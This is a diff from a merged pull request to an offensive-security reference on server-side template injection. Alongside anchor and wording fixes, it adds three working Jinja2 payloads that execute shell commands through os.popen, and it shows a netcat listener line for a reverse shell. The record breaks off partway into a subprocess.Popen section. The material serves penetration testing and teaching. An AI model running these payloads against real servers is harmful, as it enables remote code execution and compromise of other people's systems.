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Merge pull request #404 from p0dalirius/master

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Added context-free jinja2 payloads
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Swissky 2021-07-27 19:51:08 +02:00 committed by GitHub
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33
Server Side Template Injection/README.md
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@ -8,12 +8,12 @@
* [Methodology](#methodology)
* [Ruby](#ruby)
* [Basic injections](#ruby---basic-injections)
* [Retrieve /etc/passwd](#ruby---retrieve--etc-passwd)
* [Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
* [List files and directories](#ruby---list-files-and-directories)
* [Java](#java)
* [Basic injection](#java---basic-injection)
* [Retrieve the system’s environment variables](#java---retrieve-the-system-s-environment-variables)
* [Retrieve /etc/passwd](#java---retrieve--etc-passwd)
* [Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables)
* [Retrieve /etc/passwd](#java---retrieve-etcpasswd)
* [Expression Language EL](#expression-language-el)
* [Basic injection](#expression-language-el---basic-injection)
* [Code execution](#expression-language-el---code-execution)
@ -29,7 +29,7 @@
* [Pebble](#pebble)
* [Basic injection](#pebble---basic-injection)
* [Code execution](#pebble---code-execution)
* [Jade / Codepen](#jade---codepen)
* [Jade / Codepen](#jade--codepen)
* [Velocity](#velocity)
* [Mako](#mako)
* [Jinja2](#jinja2)
@ -335,7 +335,7 @@ ${x}
## Jinja2
[Official website](http://jinja.pocoo.org/)
[Official website](https://jinja.palletsprojects.com/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Jinja2 - Basic injection
@ -347,7 +347,7 @@ ${x}
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application.
The above injections have been tested on a Flask application.
### Jinja2 - Template format
@ -414,7 +414,26 @@ Listen for connection
nc -lnvp 8000
```
#### Exploit the SSTI by calling subprocess.Popen.
#### Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application.
```python